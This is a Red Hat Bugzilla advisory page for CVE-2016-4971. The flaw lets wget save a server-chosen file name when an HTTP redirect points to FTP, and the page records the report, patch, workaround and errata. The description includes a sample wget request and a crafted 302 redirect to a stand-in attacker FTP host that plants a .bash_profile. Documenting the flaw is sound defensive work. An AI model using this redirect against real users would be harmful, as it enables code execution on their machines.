Bug 1343666 (CVE-2016-4971) - CVE-2016-4971 wget: Lack of filename checking allows arbitrary file upload via FTP redirect
Summary: CVE-2016-4971 wget: Lack of filename checking allows arbitrary file upload vi...
Alias: CVE-2016-4971
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
Target Milestone: ---
Assignee: Red Hat Product Security
QA Contact:
Depends On: 1345778
Blocks: 1323912 1343668
TreeView+ depends on / blocked
Reported: 2016-06-07 15:55 UTC by Adam Mariš
Modified: 2021-02-17 03:44 UTC (History)
5 users (show)

Fixed In Version:
Doc Type: If docs needed, set a value
Doc Text:
It was found that wget used a file name provided by the server for the downloaded file when following a HTTP redirect to a FTP server resource. This could cause wget to create a file with a different name than expected, possibly allowing the server to execute arbitrary code on the client.
Clone Of:
Last Closed: 2019-06-08 02:54:42 UTC

Attachments (Terms of Use)
Proposed upstream patch (12.04 KB, patch)
2016-06-07 15:56 UTC, Adam Mariš
no flags Details | Diff

System ID Private Priority Status Summary Last Updated
Red Hat Product Errata RHSA-2016:2587 0 normal SHIPPED_LIVE Moderate: wget security and bug fix update 2016-11-03 12:09:33 UTC

Description Adam Mariš 2016-06-07 15:55:19 UTC
GNU Wget (including the latest version) when supplied with a malicious website link can be tricked into saving an arbitrary remote file supplied by an attacker, with arbitrary contents and filename under the current directory. This can lead to potential code execution by creating system scripts (such as .bash_profile and others) within home directory as well as other unauthorized actions (such as request sniffing by proxy modification, or arbitrary system file retrieval) by uploading .wgetrc configuration file.

Because of lack of sufficient controls in wget, when user downloads a file with wget, such as:

wget http://attackers-server/safe_file.txt

An attacker who controls the server could make wget create an arbitrary file with arbitrary contents and filename by issuing a crafted HTTP 30X Redirect containing ftp server reference in response to the victim's wget request. 

For example, if the attacker's server replies with the following response:

HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Location: ftp://attackers-server/.bash_profile
Content-Length: 262
Server: Apache

wget will automatically follow the redirect and will download a malicious .bash_profile file from a malicious FTP server. It will fail to rename the file to the originally requested filename of 'safe_file.txt' as it would normally do, in case of a redirect to another HTTP resource with a different name.

Because of this vulnerability, an attacker is able to upload an arbitrary file with an arbitrary filename to the victim's current directory.

Comment 1 Adam Mariš 2016-06-07 15:55:24 UTC

Name: GNU wget project
Upstream: Dawid Golunski

Comment 2 Adam Mariš 2016-06-07 15:56:13 UTC
Created attachment 1165694 [details]
Proposed upstream patch

Comment 4 Giuseppe Scrivano 2016-06-09 16:37:54 UTC
I've just released wget 1.18 with the fix:


I am going to publicly announce the new version in few hours

Comment 6 Dhiru Kholia 2016-06-14 08:09:42 UTC
Public via https://lists.gnu.org/archive/html/info-gnu/2016-06/msg00004.html

Comment 7 Adam Mariš 2016-06-23 10:15:19 UTC
CVE patch made a regression, this one fixes it:


Comment 8 Dhiru Kholia 2016-07-08 09:31:10 UTC

Use wget with "-O" option to explicitly specify the output filename.

Comment 10 Andrej Nemec 2016-07-11 07:21:18 UTC


Comment 11 errata-xmlrpc 2016-11-03 20:18:24 UTC
This issue has been addressed in the following products:

  Red Hat Enterprise Linux 7

Via RHSA-2016:2587 https://rhn.redhat.com/errata/RHSA-2016-2587.html

Note You need to log in before you can comment on or make changes to this bug.